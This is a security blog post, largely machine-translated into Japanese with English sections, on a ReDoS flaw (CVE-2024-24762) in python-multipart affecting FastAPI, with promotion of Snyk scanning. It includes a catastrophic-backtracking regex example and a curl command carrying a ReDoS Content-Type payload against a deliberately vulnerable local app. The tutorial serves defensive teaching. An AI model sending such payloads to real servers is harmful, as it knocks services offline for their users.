サービス拒否正規表現により FastAPI セキュリティが侵害される

WBOY
リリース: 2024-08-01 20:17:11
オリジナル
1247 人が閲覧しました

開発者の皆さん、ようこそ!このブログ投稿では、アプリケーション セキュリティの世界を深く掘り下げ、特に FastAPI セキュリティを低下させる可能性のある脆弱性、つまり安全でない正規表現 (regex) によって引き起こされるサービス拒否 (DoS) に焦点を当てます。不適切に構築された正規表現が DoS 攻撃の一種である正規表現サービス拒否 (ReDoS) として知られる事態にどのようにつながるのか、また、強力な開発者セキュリティ ツールである Snyk を使用してこれらの脆弱性をどのように特定し軽減できるのかを探っていきます。

Python の FastAPI セキュリティに対する ReDoS の影響を理解する

最も人気のあるプログラミング言語の 1 つである Python には、パッケージとライブラリの広大なエコシステムがあります。これらのパッケージは開発者としての私たちの作業を楽にしてくれますが、適切に保護されていない場合は潜在的なリスクももたらします。ソフトウェア開発のペースが速いため、パッケージは頻繁に更新され、新しいバージョンがリリースされ、知らず知らずのうちにセキュリティ リスクが発生することがあります。

そのようなリスクの 1 つは、ReDoS 攻撃の可能性です。ReDoS 攻撃は、攻撃者が評価に非常に長い時間を要する正規表現に悪意のある入力を提供する DoS 攻撃の一種です。これにより、アプリケーションが応答しなくなったり、速度が大幅に低下したりし、ユーザー エクスペリエンスの低下からアプリケーションの完全な障害に至るまで、重大な影響が生じる可能性があります。

import re
pattern = re.compile("^(a+)+$")
def check(input):
    return bool(pattern.match(input))
check("a" * 3000 + "!")
ログイン後にコピー

上記のコードでは、正規表現 ^(a+)+$ は ReDoS 攻撃に対して脆弱です。攻撃者が「a」の後に非「a」文字が続く文字列を提供すると、正規表現の評価に非常に長い時間がかかり、実質的に DoS が発生します。

Snyk が FastAPI Python アプリケーションを保護する方法

Snyk は、Python コードをスキャンして潜在的な ReDoS 脆弱性を検出できる、開発者第一のセキュリティ ツールです。特定された脆弱性の詳細なレポートを提供し、最適な修正を推奨します。

# After installing Snyk and setting up the Snyk CLI
# you can scan your project:
$ snyk test 
ログイン後にコピー

このコマンドは、通常、requirements.txt ファイルにあるサードパーティの依存関係マニフェストをスキャンし、潜在的な ReDoS 脆弱性を含む、特定されたすべての脆弱性のレポートを提供します。無料の Snyk アカウントにサインアップして、今すぐ Python プロジェクトの ReDoS やその他の脆弱性のスキャンを開始してください。

このような脆弱性の影響とその軽減方法を理解することは、安全な Python アプリケーションを維持するために重要です。ここで Snyk のようなツールが役に立ちます。 Snyk オープンソースは、ReDoS 攻撃につながる可能性のある安全でない正規表現など、Python パッケージのセキュリティ脆弱性を特定して修正するのに役立ちます。

Snyk を使用して FastAPI Python Web アプリケーションのこのような脆弱性を特定し、軽減する方法を詳しく見てみましょう。

CVE-2024-24762 による FastAPI セキュリティの脆弱性

FastAPI は、標準の Python タイプのヒントに基づいて Python で API を構築するための最新の高性能 Web フレームワークです。その主な特徴は、その速度と、堅牢な API を迅速かつ簡単に構築できる機能であり、高パフォーマンスの RESTful API を構築する必要がある Python 開発者にとって人気の選択肢となっています。

FastAPI は、すぐに使えるルーティング メカニズム、シリアル化/逆シリアル化、検証を提供することで、API の構築プロセスを簡素化します。これは、Web パーツ用の Python プロジェクト Starlette とデータ パーツ用の Pydantic の上に構築されています。これにより、開発者は Python 3.6 以降で利用可能な非同期機能を利用できるようになります。

例として、FastAPI Python Web アプリケーションを使用して単純な API を作成するには、次のコード スニペットを使用します。

from fastapi import FastAPI
app = FastAPI()
@app.get("/")
def read_root():
    return {"Hello": "World"}
ログイン後にコピー

FastAPI は API 開発用の堅牢かつ機敏なツールですが、脆弱性がないわけではありません。その 1 つは CVE-2024-24762 に対する脆弱性です。これは、Python パッケージ python-multipart で使用される正規表現に起因するサービス拒否の脆弱性です。

python-multipart 依存関係は、multipart/form データを解析するための Python ライブラリです。これは、フォーム データを管理するために FastAPI の依存関係としてよく使用されます。

この脆弱性は、攻撃者が python-multipart の正規表現に大量の CPU を消費させ、サービス妨害 (DoS) を引き起こす悪意のある文字列を送信したときに発生します。これは、正規表現によるサービス拒否 (ReDoS) とも呼ばれます。

Python 開発者はこの脆弱性をどのように軽減しますか?最初のステップは、プロジェクトの脆弱性を特定することです。これは、Snyk CLI ツールを使用して実行できます。

$ snyk test
ログイン後にコピー

このような脆弱性を検出するには、プロジェクトの依存関係をスキャンする必要があります。これにより、プロジェクトの依存関係内のすべての脆弱性のレポートが提供されます。

Snyk テスト コマンドの出力で脆弱性が見つかりました:

snyk test

Testing /Users/lirantal/projects/repos/fastapi-vulnerable-redos-app...

Tested 13 dependencies for known issues, found 1 issue, 1 vulnerable path.

Issues to fix by upgrading dependencies:

  Upgrade fastapi@0.109.0 to fastapi@0.109.1 to fix
  ✗ Regular Expression Denial of Service (ReDoS) (new) [High Severity][https://security.snyk.io/vuln/SNYK-PYTHON-FASTAPI-6228055] in fastapi@0.109.0
    introduced by fastapi@0.109.0

Organization:      liran.tal
Package manager:   pip
Target file:       requirements.txt
Project name:      fastapi-vulnerable-redos-app
ログイン後にコピー

脆弱性を修正するには、脆弱性が修正された python-multipart パッケージと fastapi の新しいバージョンにアップグレードできます。これらのバージョンは Snyk によって推奨されています。

Building and breaking FastAPI security: A step-by-step guide

Our first step is to set up a new Python project. We'll need to install FastAPI, along with a server to host it on. Uvicorn is a good choice for a server because it is lightweight and works well with FastAPI.

Start by installing FastAPI, python-multipart, and Uvicorn with pip:

pip install fastapi==0.109.0 uvicorn python-multipart==0.0.6
ログイン後にコピー

Next, create a new directory for your project, and inside that directory, create a new file for your FastAPI application. You can call it main.py.

Writing the FastAPI Python code

Now we're ready to write our FastAPI application code. Open main.py and add the following Python code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}
ログイン後にコピー

This simple FastAPI application has several routes (/), including /submit, which uses a multipart form. When a POST request is received, the submit route returns the username that was submitted.

Starting the server and running the application

With our FastAPI application code written, we can now start the Uvicorn server and run our application.

Use the following command to start the server:

uvicorn main:app --reload
ログイン後にコピー

You should see an output indicating that the server is running. You can test your application by navigating to http://localhost:8000 in your web browser. The message "Test" should be displayed on the page.

Breaking FastAPI security with a ReDoS attack

Now that our FastAPI application is running, we can test it for vulnerabilities. We'll use a ReDoS attack payload in the HTTP request to exploit the vulnerability in the python-multipart package that parses the content-type header value.

If you have the curl program installed, run the following command in your terminal:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
ログイン後にコピー

Securing your FastAPI application with Snyk

As you saw by now, open source dependencies play a key role in building Python applications. However, these third-party dependencies can sometimes be a breeding ground for vulnerabilities, thus posing significant security threats. In this context, Snyk Open Source emerges as a robust tool that helps developers identify and fix security issues effectively.

Imagine you could quickly find FastAPI security vulnerabilities already in the IDE panel when you write Python code instead of waiting until security scanners pick this up at a later stage.

The Snyk IDE extension is free, and if you’re using PyCharm, you can search for Snyk in the Plugins view and download it directly from there. If you’re using VS Code you can similarly find it in the Extensions marketplace right from the IDE.

A denial of service Regex breaks FastAPI security

Introduction to Snyk Open Source and its capabilities

Snyk Open Source is a powerful tool used for uncovering and addressing vulnerabilities in open source dependencies and container images. It is designed to integrate easily with the existing codebase and CI/CD systems, making it a handy tool for developers. It provides a comprehensive database of known vulnerabilities, enabling developers to proactively address potential breaches in security.

Step-by-step guide on how to scan Python dependencies for vulnerabilities with Snyk

To scan Python dependencies for vulnerabilities with Snyk, you first need to install the Snyk CLI. You can do this using one of the methods in the guide, or if you have a Node.js environment, you can quickly install Snyk with npm install -g snyk and then run snyk auth to authenticate.

Once installed, you can use the snyk test command to check your Python project for vulnerabilities:

snyk test --all-projects
ログイン後にコピー

Snyk will then scan all your dependencies and compare them against its vulnerability database. If any issues are found, Snyk will provide a detailed report with information about the vulnerability, its severity, and possible fixes.

Monitoring your projects with Snyk is crucial to maintain the security of your application. With Snyk, not only can you detect vulnerabilities, but you can also apply automated fixes, which can save you time and resources.

In addition, Snyk offers vulnerability alerts that notify you about new vulnerabilities that may affect your projects. This allows you to stay one step ahead and fix security issues before they can be exploited.

With the snyk monitor command, you can take a snapshot of your current project dependencies and monitor them for vulnerabilities:

snyk monitor
ログイン後にコピー

How to integrate Snyk with Git repositories

Integrating Snyk with your Git repositories allows you to automatically scan every commit for vulnerabilities. This can be done by adding Snyk as a webhook in your repository settings.

A denial of service Regex breaks FastAPI security
これが完了すると、リポジトリへのプッシュごとに Snyk スキャンがトリガーされ、脆弱性をできるだけ早く見つけて修正できるようになります。

結論として、Snyk オープンソースは Python プロジェクトのセキュリティを維持するための貴重なツールです。 Snyk を使用すると、脆弱性をスキャンし、プロジェクトを監視し、Git リポジトリと統合することで、堅牢で安全なコードベースを維持できます。まだサインアップしていない場合は、無料の Snyk アカウントにサインアップして、今すぐアプリケーションの保護を始めてください。

以上がサービス拒否正規表現により FastAPI セキュリティが侵害されるの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ソース:dev.to
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!